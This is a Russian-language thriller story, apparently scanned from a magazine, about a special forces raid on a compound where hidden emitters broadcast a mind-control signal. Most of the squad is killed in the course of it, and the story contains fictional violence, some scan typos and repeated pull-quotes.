Два приглушенных одиночных выстрела прошили одеяло. 

Тонкий вскрик. Потом что-то вроде «Сука...» 

Где-то кричит девушка. По-прежнему кричит... 

«Бум!..» 

Вроде бы стон... 

— Второй, доложите обстановку. К вам идет резервная двойка. 

Командир, как всегда, на высоте. Выстрелов OH, конечно же, не слы- 
шал — но его дисплей с вмонтированной видеокамерой сейчас показывал 
только одеяло. 

— Жив, — коротко ответил «второй». — Был контакт. Подробности позже. 

Он с трудом размотал одеяло: оказалось, придавил свободный конец 
своим собственным телом. Мир снова наполнился зеленоватым свечением, 
под шлем рванулся морозный воздух. 

«Второй» встал и тут же схватился за правое колено, которое про- 
стрелила волна боли. 

— Где эта сволочь? — прошептал он сам себе. Спустя секунду он уже ви- 
дел того, кто доставил ему столько неприятностей. Парень лежал лицом 
вниз на снегу возле дома. Из-под него медленно, тут же впитываясь в снег 
и превращаясь в красный лед, вытекала кровь. 


— Попал, — сказал солдат. — Есть убитый. 
— Лично отдам под суд, — раздалось в ухе. 
— Сначала разберитесь... 

Он понял, чем его били. Лопата с пожарного щита. Благо попали все 
три раза плашмя. Если бы ребром... 

Сзади раздался тихий свист. Солдат, не оборачиваясь, поднял сог- 
нутую в локте руку. Подмога пришла. Два номера: «седьмой» и «одиннад- 
цатый». По условию операции, они единственные, чьей целью были нежи- 
лые помещения второстепенного значения. Командир и посчитал воз- 
можным освободить их от выполнения основной задачи, бросив на по- 
МОЩЬ «второму». 

Из домика донесся то ли вскрик, то ли плач. «Номер два» махнул 
стволом в сторону двери: 

— Там девчонка. Она меня видела. Между домами есть связь? 

«Седьмой» отрицательно покачал головой и вошел внутрь бесшумной 
тенью. «Одиннадцатый» склонился над телом, положил пальцы на сонную 
артерию, потом поднял лицо к «номеру два». 

— Труп. Бери за ноги, надо внести в дом. 

Вместе они подхватили убитого и заволокли внутрь по двум ступень- 
кам крыльца, не один раз ударив его головой. Сразу за дверями на коври- 
ке, уходящем вглубь коридора, они бросили его и прошли в комнату, даже 
не мучаясь сожалениями. 

Обнаженная девица с разбросанными по плечам волосами сидела на 
корточках в углу комнаты, прижимая к телу подушку. То ли она прикрывала 
наготу, то ли надеялась, что подушка защитит от выстрелов, — «номер 
семь» стоял возле нее, направив ствол автомата в направлении ее головы. 

«Одиннадцатый» быстро огляделся, увидел две камеры в потолочных 
нишах, залепил одну. Со второй расправился его напарник. Они еще раз 
внимательно осмотрели комнату, после чего опустили на окнах жалюзи и 
включили свет. 

Девушка от неожиданности вскрикнула и закрыла глаза. 

— Тихо, дура, — сказал «номер два». — К тебе никаких претензий. Сколько 
вас здесь всего? 

Она пожала плечами. 

— Думай! Быстро! 
— Человек тридцать, может, немного меньше... 
— Они все сейчас здесь? 

Она обвела взглядом комнату и покачала головой — нет, мол, здесь 
никого нет. 

— Ну, дура... — чертыхнулся «седьмой». — Я имею в виду, на территории?! 
— Нет, — быстро ответила девушка. — Тех, кто следит... Короче, обслуга... 
Они уезжают после восьми вечера. Есть трое дежурных и охрана. Я не 
знаю, где они. Я здесь недавно, мне еще не рассказали. Да я и не интересо- 
валась. А что вы сделали с Русланом? 

— Болеет Руслан. Сильно болеет. И вряд ли выздоровеет, — сказал «один- 
надцатый». Потом прижал лингафон к шее и произнес: 

— Командир, ждем указаний. Все тихо, нас никто не заметил. Труп подтвер- 
ждаю. Парень по имени Руслан. 

— Вычеркиваю, — хмыкнул командир. — Блин, как в том анекдоте... Еще 
не все вошли. Поэтому обустраиваемся на новом месте и ждем приказа. 
Не расслабляться — черт его знает, что здесь творится по ночам. Старшим 
назначаю «одиннадцатого». Доставайте индикаторные трубки, пройдитесь 
по стенам, полу, потолку. Осмотрите все: тумбочки, матрасы, нижнее 
белье, — куда фантазия подскажет. Объяснить, что вы найдете, не могу. 
Сам не знаю. Думаю, догадаетесь. Обо всем найденном, представляющем 
интерес, немедленно докладывать мне. 

— Что это может быть? Хотя бы примерно? Химия? Электроника? 

— Без комментариев. Все на месте. Вас что, зря учили? Выполняйте! 

— Есть, — отпустил лингафон «одиннадцатый» и приподнял лицевую пла- 
стину шлема с дисплеем и прибором ночного видения. Остальные уже сде- 
лали то же самое, слишком уж слепил свет из-под потолка, проходя через 
усилители. 

— Слышали? — спросил он у солдат. Они кивнули. — Найди то, не знаю 
что. Вообще-то типичная загадка для нашего ведомства. 

Точно. Все было именно так. Они не первый год служили в спецпод- 
разделении, подчинявшемся Управлению по борьбе с преступлениями 
в сфере информационных технологий. И не первый раз их отправляли на 
задание, не разъясняя его сути. Проникнуть, закрепиться, найти. 

Когда найдено, принять решение. Самостоятельно. Их, конечно, готовили. 
Их учили, им показывали самые современные технологии, супердевайсы, 
которые могли все. Их заставляли — ЗАСТАВЛЯЛИ! — понимать то, что 
они видят впервые в жизни. Многие из них получили высшее образование, 
далекое от армии, но некоторые всю жизнь были солдатами и не собира- 
лись менять свое амплуа. Все вместе они образовывали тандем, способный 
разгадать самые таинственные киберзагадки современности. 
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С вероятностью восемьдесят два процента. 

Каждый из них имел за плечами невыполненное задание. Нераспоз- 
нанную опасность. Ненайденный компьютер. Непойманного хакера. Потому 
что невозможно предусмотреть в этом мире все до мелочей. Нельзя уга- 
дать, как будет действовать противник, если у него каждый раз новое лицо. 
А еще сложнее — если людей используют втемную. Если они сами не зна- 
ют, что стали подопытными кроликами, и в силу этого они не могут тебе 
помочь, не могут сотрудничать, подсказывать, направлять. Вот как сейчас... 

Эта девчонка в углу комнаты явно была не в курсе. «Второй» на се- 
кунду прикрыл глаза, пробежал мысленно ряд фотографий, вспомнил. 

«Юлия... Здесь три недели. Ничего особенного. По-моему, москвичка. 
Как здесь оказалась? Что их сюда тянет?» 

— Работаем, — приказал «одиннадцатый». — Я использую прибор для 
наркотиков. «Номер семь» ищет электронику, «номер два» — у дверей, 
остерегаемся гостей. Попутно постарайтесь обнаружить какие-нибудь тай- 
ные дверцы, люки — короче, все, что найдется. Вперед. А ты, красавица, 
сиди не шевелись. Нет, лучше оденься и сядь на кровать. А то неправильно 
поймут... Хотя кто тут может что понять? 

Он протянул руку к халату на спинке кресла, бросил девушке. Она 
поднялась, отложила подушку в сторону, особо не стесняясь наготы. Фигу- 
ра у нее была достойная: высокая грудь, широкие бедра. «Второй» неволь- 
но осмотрел ее с головы до ног. Накинула халат, присела на кровать и при- 
нялась кусать губы. Похоже, она хотела что-то спросить, но не решалась. 


ВСПОМНИЛИСЬ НЕСКОЛЬКО 
СЛОВ О ЗОМБИ, ТИХО 
ПРОИЗНЕСЕННЫХ 
КОМАНДИРОМ В ПОСЛЕДНЕЙ 
БЕСЕДЕ ПЕРЕД ОТПРАВКОЙ 


Тем временем «одиннадцатый» включил приборчик, висевший до это- 
го момента у него на поясе, убедился, что все работает, еще раз осмотрел 
комнату и принялся водить маленьким указателем, напоминающим лазер- 
ную указку, по стенам, полу и потолку. Аналогичный, но несколько иначе 
устроенный прибор использовал и напарник. 

Поначалу все было тихо, только в наушниках попискивал отраженный 
сигнал. Они бродили по комнате, натыкаясь на стулья, столы, какие-то сум- 
ки, потихоньку матерились и бросали угрюмые взгляды на сидящую на кро- 
вати девушку. «Номер два» вышел в коридор, отодвинул ногой труп парня, 
насколько смог, снова опустил панель шлема, проверил автомат и выгля- 
нул на улицу. Кругом было тихо, в стороне тускло светил фонарь, освещая 
сам себя. Домики были скрыты во тьме. 

«Ну и хорошо, — подумалось ему. — Посижу здесь. Хоть не надо бу- 
дет отвечать, если что-то не найду... Пусть спецы работают. Мое дело — 
стрелять». 

Где-то в других домиках так же приступили к работе его товарищи 
по отряду. Кому-то должна была улыбнуться удача — не зря же они 
сюда пришли. 

Вспомнились несколько слов о зомби, тихо произнесенных команди- 
ром в последней беседе перед отправкой. Тогда «второй» решил, что ему 
послышалось: командир громко отрапортовал в телефонную трубку поле- 
вой рации о готовности, потом выслушал боевую задачу и тихо произнес 
несколько слов. Одним из этих слов (теперь «номер два» убедился в этом) 
было слово «зомби». 

Причем здесь этот деревянный городок и мертвецы из могил? Ника- 
кой связи не прослеживалось. Скорее, здесь какие-то неизвестные парни 
могли творить своими легкими руками компьютерные вирусы или ломать 
через интернет сайты, при одном упоминании о которых обычные люди 
мгновенно становились по стойке «смирно» и начинали говорить только 
шепотом. «Номер второй» оглянулся в сторону комнаты, увидел на сте- 
клянном прикроватном столике открытый ноутбук и подумал, что он не так 
уж и неправ: из компьютера убегал не только шнур питания, но и телефон- 
ный провод. Выход в Сеть здесь был. 

— ...Я «номер четыре». Докладываю. Никакой химии не обнаружено. Пои- 
ски электроники продолжаются. 

Спустя десять минут аналогичный доклад поступил от «номера три». 
— Небогатый улов, — прошептал «номер второй». — И как-то все на 
удивление спокойно. Ну, если не считать одного убитого и трех ударов 
лопатой... 

— Есть! — неожиданно вскрикнул, радуясь удаче, «номер седьмой». — 


Есть сигнал! Регистрирую встроенный излучатель! 

«Второй» напрягся. Уж очень хотелось вернуться внутрь, посмо- 
треть, но он не решился оставить пост. Еще будет время взглянуть, а по- 
ка достаточно того, что группа, в которой он находится, первой нашла 
то, что искали. 

В комнате что-то хрустнуло. Похоже, солдаты ломали панели, которы- 
ми были отделаны стены домика. Потом прозвучало несколько ударов при- 
кладом, и стало тихо. 

— Вот это, значит, как выглядит... — тихо сказал «одиннадцатый», к тому 
времени закончивший поиск наркотических веществ. — Ты знала, что 
здесь есть такая штука? 

Вопрос явно был задан девушке. Она промолчала. 

— Точно не знала? 

«Головой машет, — понял «второй». — Похоже, здесь творилось черт 
знает что. Какие-то излучатели в стенах... Что здесь происходит? И почему 
командир упомянул о зомби?» 

В коридор выглянул «седьмой». 

— Все спокойно? 

Он кивнул в ответ. 

— Скоро будем выходить. Я уверен, поступит дополнительный приказ на 
сбор в условленном месте. Сейчас передам другим, что им надо искать и 
как это выглядит — думаю, работа пойдет быстрее. 

Он заговорил в лингафон, сообщая технические характеристики най- 
денного устройства. Его внимательно слушали, время от времени задавая 
уточняющие вопросы. Постепенно в деле поиска излучателей проступила 
ясность. Проблема была в том, что они работали в каком-то неизвестном 
диапазоне и можно было найти только источники питания, которые оказа- 
лись заботливо спрятанными вблизи обычных электропроводов. Только 
тренированное внимание «номера седьмого» позволило ему заметить из- 
лучение не в проекции пучка проводов, а рядом с ними. 

Спустя сорок минут аналогичные устройства были найдены в шести 
домах с людьми и одном нежилом, который больше всего походил на хо- 
зяйственную постройку. Командир отдал приказ собраться у входа в глав- 
ное здание. Там, где стеклянные двери и утоптанный снег. 

Втроем они вышли на улицу, вдохнув морозный воздух и распра- 
вив плечи. Часть работы была выполнена. Юле вкололи успокоитель- 
ное, она с благостной улыбкой лежала на кровати, накрывшись хала- 
том, и разглядывала узор на потолке. Неподалеку от нее остывал труп 
Руслана. Девушка несколько раз передвинула голову по подушке из 
стороны в сторону, еще раз улыбнулась и внезапно выгнулась дугой — 
беззвучно, со скоростью молнии. Спустя мгновенье упала вниз, на 
одеяло, и снова рванулась, касаясь кровати лишь затылком и пятками. 
Крик рвался из нее сквозь плотно сжатые зубы, но воздух не находил 
выхода из легких. Эта безумная пляска продолжалась около тридцати 
секунд. Постельное белье покрылось потом и мочой, она глубоко ды- 
wana, широко раздувая ноздри, и глазами рыбы-телескопа смотрела 
прямо перед собой. 

Неожиданно все прекратилось. Она обмякла, рука потянулась к хала- 
ту, пытаясь скинуть его на пол. Юля глубоко вздохнула, шепнула что-то, на- 
поминающее слово «мама», и затихла. Взгляд ее остекленевших глаз за- 
стыл, ноздри перестали двигаться. 

И напоследок рука, пытавшаяся снять халат, упала в сторону. Тонкие 
пальцы, которые совсем недавно ласкали Руслана, были мертвы. 

Как и их хозяйка. 

Но солдаты этого уже не видели. Они короткими перебежками, при- 
крывая друг друга, перемещались по двору, обходя освещенные места и по 
пути превращая обнаруженные видеокамеры в бесполезные куски железа 
и стекла. К месту сбора это звено прибыло едва ли не самым первым, 
только двое солдат из подразделения оказались здесь раньше, поскольку 
здесь они должны были выполнить свою основную задачу. 

Они в белых маскировочных халатах лежали неподалеку от входа и 
уже начинали замерзать, слушая в эфире доклады своих товарищей о най- 
денных излучателях, о которых они не имели ни малейшего представления. 
После первого доклада один из них нарисовал на снегу знак вопроса. Вто- 
рой просто пожал плечами и зябко поежился — было достаточно холодно 
даже в термокостюме. 

Рядом с ним в снег упала тройка: «второй», «седьмой» и «одиннадца- 
тый». Одетые в белые костюмы, они тут же стали неразличимыми на фоне 
сугробов (для нетренированного глаза) и взяли на прицел стеклянный холл. 
— «Седьмой» и звено прибыли, потерь нет, девушка изолирована. Беру 
под контроль вход в здание. Разведгруппа готова к внедрению. 

Он посмотрел на замерзающих разведчиков. Один из них кивнул, 
набрал полную пригоршню снега, лизнул. 

— Вперед, — раздался приказ командира. Двое поднялись немыми тенями 
из снега и подбежали к дверям, которые не представляли для бойцов ника- 


кой существенной преграды. Стеклорез дал им доступ к щеколде, другой 
защиты здесь не было. Они открыли дверь, вошли внутрь в освещенный 
холл, спиной друг к другу. Один из них быстро отключил камеру внутренне- 
го наблюдения, второй аккуратно перерезал телефонный шнур в холле. 

— Вошли, ждем приказаний, — сказал один из них. 

— В здании как минимум шесть человек, — ответил командир, — половая 
принадлежность неизвестна. Оружие — нет информации. Искать то же са- 
мое плюс средства централизованного управления. И еще. Здесь может 
быть охрана. Вооруженная. При обнаружении вызывайте подкрепление. 
Звено «седьмого» — входим. На входе разделиться. Направо жилые комна- 
ты, налево — спортивная зона. Нейтрализовать всех в жилых комнатах, 
изолировать спортзал и все бытовые помещения. Звено «четвертого» — 
доступ на крышу. Ищем любые технические средства, напоминающие прис- 
пособления для телепередачи. Звено «восьмого» — второй этаж. Ищем 
электронику и средства видеозаписи и монтажа. Уничтожаем все носители 
информации: диски, кассеты, флеш-память, компьютеры. Для образца бе- 
рем всего по одному. Приказ услышан, понят? 

Каждое звено продублировало часть, касающуюся их работы, после 
чего белые тени принялись за работу. 

— Удачи, — пожелал командир. — Место сбора — к северо-востоку, пять- 
сот метров, будет вертолет. И учтите — стрелять только по вооруженным 
людям. Никакой самодеятельности. 

Разведгруппа тем временем уже исчезла в какой-то из дверей. «Седь- 
мой» вошел, отправил своих напарников в направлении двери, за которой 
были видны спортивные снаряды. Чуть дальше сквозь спортзал виднелся 
бассейн с голубой водой. Сам он стволом автомата открыл одну из дверей 
в комнату направо, увидел спящую пару, лежащую поверх одеяла в обним- 
ку. Естественно, оба были голыми. Сон был сладким, тягучим, как вареная 
сгущенка, поэтому, когда на запястьях у них защелкнулись наручники, они 
даже не сообразили, что происходит. «Седьмой» быстро присел на одно ко- 
лено возле дернувшейся было девушки и приложил палец к ее губам: 

— Тихо, девочка, тихо... Сидим спокойно... 

И показал ей свой автомат. Она широко раскрыла глаза и не сопро- 
тивлялась, когда он заклеивал ее рот пластырем. Парень, похоже, оказался 
в еще более глубоком шоке, не дергался. Когда пару нейтрализовали, 
«седьмой» немного расслабился, покрутил шеей и подмигнул девушке. 

— Все. Будет. Хорошо, — сказал он, отделяя каждое слово, после чего вы- 
шел в холл. Остальные члены его звена уже рассредоточились, занимаясь 
каждый поставленной задачей. 

«Второй» вошел в спортзал, оглядел зеркальные стены и невольно по- 
завидовал тому, что увидел: до чего все было компактно и очень по-совре- 
менному. На пару велотренажеров небрежно наброшены какие-то аляпи- 
стые полотенца, явно женские. Около штанги для жима лежа — оставлен- 
ная кем-то пачка сигарет и зажигалка. «Одиннадцатый» перешагнул нес- 
колько скамеек, осмотрел углы зала, ткнул глушителем в камеры в углах. 
Еще одна была закреплена на станине, подобной той, что они видели на 
улице. «Второй» показал ему пустую упаковку от жевательной резинки. На- 
парник кивнул и повыдергивал кабели изо всех камер, включая большую. 
Глядя на то, как гаснут на них красные глазки, «второй» подумал, что надо 
было так делать с самого начала, хотя «Бубль-гум» на объективах смотрел- 
ся очень не «по-спецназовски». Похоже, это делалось чтобы ввести в за- 
блуждение тех, кто мог прийти следом. 

В дальнем конце зала была еще одна стеклянная дверь, за ней вода 
бассейна бросала отсветы на стену и потолок. Бойцы посмотрели друг на 
друга, «второй» двумя пальцами указал направление. Кивок согласия. 

Они входят... 

Наверху, над их головами, раздался какой-то шум. Они застыли прямо 
в дверном проеме, машинально подняв головы. Там работало звено «вось- 
мого», и, похоже, с режимом скрытности у них были проблемы. На радиоча- 
стоте, однако, никаких комментариев не поступило. 

Выждав несколько секунд до повторения звука, они продолжили дви- 
жение. Каждый пошел по своей стороне бассейна, переступая через пляж- 
ные тапочки, полотенца и бутылки из-под минеральной воды. В центре бас- 
сейна покачивался оранжевый круг, рядом с ним голубой надувной плотик с 
подголовником. На плотике лежал раскрытый «Пентхаус» со слегка подмок- 
шими страницами. 

«Второй» включил лазерный целеуказатель и ткнул лучом в журнал. 
«Одиннадцатый» кивнул головой, соглашаясь: действительно, кто бы здесь 
ни жил, они проводили время очень и очень хорошо. 

— Три комнаты на первом этаже осмотрены, — раздался голос «седьмого». 
— В каждой нейтрализована пара. Насчет шести человек — данные точ- 
ные? 

— Подтверждаю, — ответил командир. — Теперь внимательно! На втором 
этаже замолчал «восьмой». Приказываю выставить на первом этаже дозор, 
остальным подниматься. 


Втроем они вышли в холл. Теперь лучи лазеров светились у всех. 
«Седьмой» ткнул пальцем во второго, указал на входной тамбур. Тот кив- 
Hy, отошел немного в сторону, за большую кадку с пальмой, присел там. 
С его позиции вход простреливался просто идеально. Командир звена 
одобрил выбор солдата, согласно поднял ладонь, после чего они с «один- 
надцатым» медленно поднялись на второй этаж по винтообразной лестнице 
вдоль стены. 

«Второй» осмотрел снаряжение, выключил луч, навел ствол автомата 
на двери и замер. «Если кто-то из вас не любит ждать и догонять, спецназ 
не для вас», — вспомнил он слова инструктора, так и оставшегося для него 
безымянным (само существование этого человека засекречено). «Второй» 
умел ждать... 

— Докладывает «четвертый». Нашел дополнительный антенный усилитель 
на крыше, замаскированный под мансарду. Какие будут указания? 

— Уничтожить электронику без возможности замены или восстановления, — 
последовал ответ командира. — Соблюдать режим скрытности, в обяза- 
тельном порядке осуществить на месте видеосъемку своей работы. 

— Принято, — ответил «четвертый», — выпо... 

«Второй» напрягся. Фраза оборвалась внезапно, подвесив тишину в 
эфире на несколько секунд. Командир тоже (было заметно по паузе) не по- 
Han, что произошло, потом спросил: 

— «Четвертый», подтвердите прием приказа. «Четвертый», вас не слышно. 
«Третий» и «пятый», на связь, что со звеньевым? 

Тишина. Гробовая тишина в наушниках. 

У «второго» похолодело в груди. Вот она, экстраординарная ситуация, 
о которой их всегда предупреждал инструктор. Перед глазами встали 
стройные ряды зомби, изо рта у которых выползали червяки и мокрицы. 
Они шли по второму этажу и вонзали свои зубы и ногти в тела солдат, раз- 
рывая их на части... 

«Не сметь поддаваться панике!!!» — сжав кулаки, приказал он себе и 
услышал приказ командира: 

— Всем действовать по инструкции «Мэйдей». Вперед! 

«Второй» выпрямился за пальмой, посмотрел зачем-то на счетчик па- 
тронов в магазине и побежал вверх по лестнице. 

По этой инструкции все члены отряда, свободные от выполнения до- 
полнительных приказов, должны были идти на выручку тому, с кем прерва- 
лась связь. Вот только проблема была в том, что звено «восьмого» находи- 
лось на крыше. 

Нужно было пройти через второй этаж, с которого совсем недавно ус- 
лышали какой-то подозрительный шум. 

Первые двадцать ступенек он прошел спиной вперед, пытаясь загля- 
нуть за поворот лестницы, которая взвивалась куда-то к потолку. Когда же 
она приняла вполне определенное направление, он повернулся, снова на- 
жал кнопку целеуказателя и немного успокоился, увидев тоненький лучик и 
красную отметку на стене. По крайней мере, он точно сможет выстрелить, а 
там посмотрим... 

На ковровой дорожке отпечатались следы бойцов его звена. Протекто- 
ры сапог были глубокими, снега в них налипло достаточно — мокрые следы 
исчезали только на середине коридора. Он видел, что они входили в двери, 
которые находились по обе стороны коридора на этаже. Везде оказалось пу- 
сто, не было видно и самих бойцов. Насколько «второй» помнил, эта терри- 
тория входила в зону «восьмого» — весь этаж и поиски на нем электроники 
и носителей информации. Но ему не встречались ни свои, ни чужие... 


ВСПОМНИЛИСЬ 
НЕСКОЛЬКО СЛОВ 

О ЗОМБИ, ТИХО 
ПРОИЗНЕСЕННЫХ 
КОМАНДИРОМ ПЕРЕД 
ПОСЛЕДНЕЙ ОТПРАВКОЙ 


Поворот направо... Кадка с пальмой, такая же, как и внизу. Рядом 
угловой кожаный диванчик, чьи-то кроссовки, пара книжек... Эта постройка 
будто вымерла после того, как «седьмой» «выключил» тех, кто оставался 
внизу. Но «второй» четко помнил слова командира о том, что здесь может 
быть охрана (а если может, то и должна!). 

Скорее всего, бойцы отряда вступили в контакт с ними. 

Его товарищи не выходят на связь по одной из двух причин: либо они 
в засаде в непосредственной близости от противника, либо... 
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Либо они все мертвы. 

Мысль о том, что солдаты в плену, почему-то не пришла ему в голо- 
ву — слишком позорной она была. 

Он прошел по коридору еще десять метров и вдруг заметил, что ков- 
ровая дорожка, везде идеально натянутая, горбатится волной возле одной 
из дверей. Он замедлил шаг и внимательно посмотрел на эту сдвинутую 
часть дорожки. Всего лишь маленькая горбинка... 

В голову пришла отчетливая догадка о том, как здесь кого-то тащили, 
схватив под мышки, и ноги того, кого волокли, цеплялись за ковер, задирая 
его. Тащили или пленного, или мертвого. 

«Второй» прижался к стене, практически распластавшись по ней. Ав- 
томат он поднял, прижал к плечу и поймал луч целеуказателя в прорезь 
прицела. И как только он понял, что превратился в безукоризненную маши- 
ну для убийства, шагнул вперед. 

К той двери, которая была возле ковровой горбинки. 

Шаг... второй... третий... Он уже видел, что дверь наполовину открыта. 
Или наполовину закрыта. Ручка двери испачкана кровью. 

Постепенно, по мере того как он продвигался вдоль стены, комната 
становилась доступной для осмотра. Луч скользнул внутрь... 

Там царил полумрак. Похоже, жалюзи были приоткрыты и в комнату 
проникал свет уличного фонаря. Красная точка метнулась по стене, на ко- 
торой «номер два» увидел несколько цветных фотографий в рамочках, где 
была изображена пара — девушка и парень. Предположительно, хозяева 
этой комнаты. А в принципе, кто их знает?.. 

Он приблизился к двери вплотную. В очередной раз, как и на трени- 
ровках, поборол в себе желание открыть ее стволом, опустил левую руку и 
раскрытой ладонью мягко открыл дверь полностью. 

Он увидел всех сразу: все звено «восьмого» и своих напарников, 
«седьмого» и «одиннадцатого». Пять тел были аккуратно сложены поперек 
двуспальной кровати. Один лицом вниз, остальные смотрели невидящими 
глазами в потолок. Оружие висело на вешалке рядом с дверью, словно 
зонтики... 

У «второго» перехватило дыхание от увиденного. Он понимал, что 
обязан доложить об этом, но не мог произнести вслух ни единого слова. 
Лишь какой-то шепот срывался с онемевших губ... 

Пятеро его друзей с пулевыми отметинами в голове, на шее, на руках 
и ногах... Они были расстреляны, как на тренировке, будто бы и не было у 
них за спиной нескольких боевых операций в странах с жарким климатом, 
не было многочасовых занятий по боевой подготовке, не было десятков вы- 
полненных заданий на территории России. У них до этого дня НИКОГДА не 
было потерь. Он видел трупы своих друзей впервые. 

Но больше всего его потрясло другое. Они лежали на кровати, а ря- 
дом с ними на подушках сидели три плюшевых медведя с веселыми морда- 
ми, каждый из них держал в лапах что-нибудь большое и яркое: у одного 
была морковка, у другого огромная конфета, у третьего вообще что-то не- 
понятное, то ли гитара, то ли автомат... 

«Кто спал на моей постели и умер на ней...» 

Эти медведи просто свели его с ума. Он вошел внутрь, увидел на полу 
следы крови (а на дальней тумбочке — снятые с солдат лингафонные гар- 
нитуры), выматерился в голос и тут же услышал голос командира: 

— «Второй», доложите обстановку. 
— Все мертвы, — резко ответил он. — На втором этаже живых бойцов нет. 
Только я... 

Он хотел добавить «...и три медведя!», но решил, что не стоит гово- 
рить эту мерзость в эфир. Встав спиной к двери и направив оружие в ее 
сторону, он подошел к бойцам, потрогал у каждого на шее пульс и убедился 
в своей правоте. 

— Докладываю потери. Звено «восьмого», «седьмой», «одиннадцатый». За- 
стрелены из оружия с глушителем, предположительно штурмовая винтовка. 
Экипировка оставлена в полном комплекте. Судя по всему, они не успели 
сделать ни единого выстрела... 


КАЖДЫЙ ИЗ НИХ ДЕРЖАЛ 
В ЛАПАХ ЧТО-НИБУДЬ 
БОЛЬШОЕ И ЯРКОЕ... 


Он опустился на одно колено, вдруг поняв, что сам оказался в этой за- 
саде: наверняка те, кто убил его друзей, ждали того (или тех), кто придет за 
ними. А потом заметил, что за окном колышется какая-то странная тень. 

До окна с наполовину открытыми жалюзи было несколько шагов. 
«Второй» отошел в тень и сменил позицию вдоль стены, чтобы увидеть, что 
же там, на улице. И испытал шок во второй раз за ночь. 


Там, за окном, на страховочном тросе висел «четвертый», подвешен- 
ный за ногу. Шлема на его голове не было, шея и лицо залиты кровью, ко- 
торая в тусклом свете фонаря казалась похожей на большое родимое пят- 
но. Легкий ветерок раскачивал его из стороны в сторону. «Второй» смотрел 
на этот мертвый маятник и судорожно подсчитывал про себя, сколько лю- 
дей осталось в живых при условии, что звено «четвертого» тоже уничтоже- 
но полностью. Их было двенадцать человек вместе с командиром. Значит, 
где-то поблизости сам командир и еще двое — те самые разведчики, что 
зашли первыми. 

— «Первый», это «второй». Звено «четвертого» тоже подверглось 
нападению... 

Он выглянул в окно, ожидая увидеть там упавший шлем бойца. А уви- 
дел еще два трупа в сугробах под стеной. Снег вокруг был девственно чист. 
Приглядевшись, «второй» увидел там множество мелких точек. 

Гильзы. 

Расстреляли всех троих. Значит, с подсчетом он не ошибся. 
—...Убиты все, — закончил он. — Жду приказаний. 

— Продолжать не имеет смысла, — услышал он через несколько секунд. — 
Приказываю покинуть территорию, взяв с собой жетоны убитых... По воз- 
можности. Жду возле точки входа второй группы. Вертолет прибывает че- 
рез восемь минут. Ждать они не будут. 

И еще через несколько секунд добавил: 

— Удачи... 

«Второй», не заботясь о шеях мертвецов, быстрыми движениями сор- 
вал с них жетоны с личными номерами, потом прикинул, как бы пройти ми- 
мо тех, в сугробах, но решил не рисковать: один все равно останется висеть 
на веревке, по жетону его вряд ли опознают, но шума будет много... 

В коридоре было тихо. Просто невозможно представить себе, откуда к 
бойцам пришла смерть. Один только факт налицо: охрана этого здания ока- 
залась намного профессиональнее. 

Постоянно кружась, как юла, «второй» продвигался по коридору, оста- 
вив позади второй этаж и лестницу. Никого... 

Он вспомнил план здания, остановился возле выхода и прикинул, как 
бы сподручнее и быстрее выйти туда, откуда на территорию входила вторая 
группа. Получалось, что нужно пройти через спортзал и бассейн к другому 
выходу, чтобы выиграть минуты две, то есть получить шанс остаться в жи- 
вых и найти выход. 

В дверях бассейна он вдруг почувствовал что-то очень нехорошее — 
что-то, что никак не позволяло ему открыть эту чертову дверь. 

Потому что ему казалось, что в воде кто-то есть. 

После минутной борьбы с самим собой он, наконец, протянул руку к 
двери и вошел. 

Там, где в центре бассейна плавали надувные круг и плотик, он уви- 
дел еще два трупа — оба лицом вниз, руки и ноги в стороны. Вокруг розо- 
вая вода. Шлемы и автоматы колышущимися тенями угадывались на дне. 

А на лестнице, уходившей в воду, он увидел жетоны на цепочках — 
словно тот, кто убил здесь всех, знал, что последнему оставшемуся в жи- 
вых они очень понадобятся. 

«Второй» понял, что его сердце готово выпрыгнуть из груди. Все это на- 
поминало ему сюжет «Десяти негритят», только этот развивался быстрее и 
кровожаднее. Смерть, которая приходит неизвестно откуда и исчезает, оста- 
вив из вежливости жетоны убитых спецназовцев, — это почище Агаты Кристи. 

Схватив жетоны, он побежал: сил не оставалось идти осторожничая. 
Кафель отдавался гулом, и поэтому по звукам можно было бы предполо- 
жить, что бежит по меньшей мере десять человек. В самом конце бассейна 
он едва не упал — неудачно зацепил маленький столик с расставленными 
на нем бокалами, бутылкой шампанского, конфетами и вазой с огромным 
букетом хризантем. Столик покачнулся, бокалы с музыкальным звоном рас- 
сыпались в хрустальную пыль по кафелю пола. Следом полетела бутылка, 
откололось горлышко, и ароматная пена рванула наружу. 

«Номер второй» бежал не оборачиваясь. Звон бокалов и бутылки 
только подстегнул его страх. Он резко развернулся и выпустил очередь 
вдоль стен в сторону двери. Стекло осыпалось с хрустом, несколько пуль 
подняли фонтанчики воды в бассейне. Плотик противно хрюкнул и стал бы- 
стро сдуваться. 

Он понял, что его охватила паника. 

— Командир! — крикнул он в лингафон, не заботясь прижать его к шее (этот 
звук и так был бы хорошо слышен). — Разведка тоже погибла! Я прорыва- 
юсь через бассейн к выходу! У вас нет резерва для при... Твою мать! — 
споткнулся он о какой-то маленький стульчик, который с грохотом отлетел в 
сторону. — Резерва для прикрытия?! — продолжил он, пытаясь разобрать- 
ся, куда бежать дальше. 


— Нет, парень... — тихо ответил командир. — Прости... Постарайся уцелеть. 
— Э-эх... — остановившись, махнул рукой «второй». — Куда же дальше, 
куда, куда?! 


— Когда выйдешь на улицу — сразу направо, в сторону забора, — ответил 
командир. — Затем... 

Он замолчал. 

А потом в наушнике у «номера два» прогремела очередь. Вторая... 
Следом одиночные... 
— Веду бой, — спокойно сказал командир. — Силы противника оценить не 
могу. Предполагаю неблагоприятный исход. Всем, кто меня слышит! Всем, 
кто меня... (очередь, на этот раз длинная)... слышит! «Номер два», тебя это 
касается в первую очередь... Да больше тут и нет никого... 

Боец застыл у двери, ведущей на улицу, и стал прислушиваться к зву- 
кам боя. 


ОН СДЕЛАЛ БЫЛО 
ПАРУ ШАГОВ К НЕЙ, 
НО ПОТОМ ПОДУМАЛ, 
ЧТО ЭТО НЕРАЗУМНО 


— Ты должен уцелеть! Информация для тебя: здесь, на территории ком- 
плекса, проходит эксперимент по массовому воздействию на сознание пу- 
тем трансляции эмоциональных импульсов людям с податливой психикой... 
Опа-а! (Пара выстрелов, приглушенный стон.) Попали, но не очень... В сте- 
нах домов — излучатели. Мы доказали их существование! На крыше ком- 
плекса — замаскированная студия по записи и трансляции этого сигнала на 
широкую аудиторию с использованием новейших технологий информацион- 
ного зомбирования! А-а.., — вдруг застонал он. — Вот это уже хуже... Жи- 
вот — это уже гораздо... хуже... 

